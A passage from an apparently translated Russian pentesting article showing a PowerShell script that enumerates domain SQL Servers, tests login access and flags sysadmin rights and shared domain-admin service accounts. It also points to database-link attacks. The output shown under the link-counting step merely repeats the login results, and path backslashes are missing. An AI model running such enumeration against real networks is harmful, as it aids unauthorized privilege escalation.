106. [+] SUCCESS! - server3.mydomain.comAppOneProd (192.168.1.103) - Sysadmin: No - SvcIsDA: No
107. [+] SUCCESS! - server3.mydomain.comSQLEXPRESS (192.168.1.103) - Sysadmin: No - SvcIsDA: No
108. [+] SUCCESS! - server4.mydomain.comAppData (192.168.1.104) - Sysadmin: Yes - SvcIsDA: Yes
109. [*] ----------------------------------------------------------------------
110. [*] 3 of 5 SQL Server instances could be accessed.
111. [*] End Time: 04/01/2014 10:02:00
112. [*] Total Time: 00:02:00
113. [*] ----------------------------------------------------------------------
На скриншоте ниже показаны три сервера, использующих общую учетную запись:
Рисунок 4: Перечень SQL-серверов, использующих одну и ту же сервисную учетную запись
- Сбор связей баз данных для запуска запросов с привилегиями администратора. Антти Рантасаари (Antti Rantasaari) написал прекрасную статью о связях баз данных (статья называется How to Hack Database Links in SQL Server). Некоторое время назад мы также написали модуль для Metasploit, реализующий подобную атаку. Посчитать количество связей баз данных можно вручную, однако намного проще это сделать при помощи скрипта, используя операторы «-showsum» и «-showstatus». Как и в предыдущем примере, результаты можно выгрузить в CSV.
- PS C:Get-SQLServerAccess -ShowSum | export-csv c:tempsql-server-excessive-privs.csv
- [*] ----------------------------------------------------------------------
- [*] Start Time: 04/01/2014 10:00:00
- [*] Domain: mydomain.com
- [*] DC: dc1.mydomain.com
- [*] Getting list of SQL Server instances from DC as mydomainmyuser...
- [*] 5 SQL Server instances found in LDAP.
- [*] Attempting to login into 5 SQL Server instances as mydomainmyuser...
- [*] ----------------------------------------------------------------------
- [-] Failed - server1.mydomain.com is not responding to pings
- [+] SUCCESS! - server2.mydomain.comAppOneDev (192.168.1.102) - Sysadmin: No - SvcIsDA: No
- [+] SUCCESS! - server3.mydomain.comAppOneProd (192.168.1.103) - Sysadmin: No - SvcIsDA: No
- [+] SUCCESS! - server3.mydomain.comSQLEXPRESS (192.168.1.103) - Sysadmin: No - SvcIsDA: No
- [+] SUCCESS! - server4.mydomain.comAppData (192.168.1.104) - Sysadmin: Yes - SvcIsDA: Yes
- [*] ----------------------------------------------------------------------
- [*] 3 of 5 SQL Server instances could be accessed.
- [*] End Time: 04/01/2014 10:02:00
- [*] Total Time: 00:02:00
- [*] ----------------------------------------------------------------------
На рисунке ниже показаны для сервера, чьи связи потенциально могут быть использованы в злонамеренных целях:
Рисунок 5: Количество связей у каждого инстанса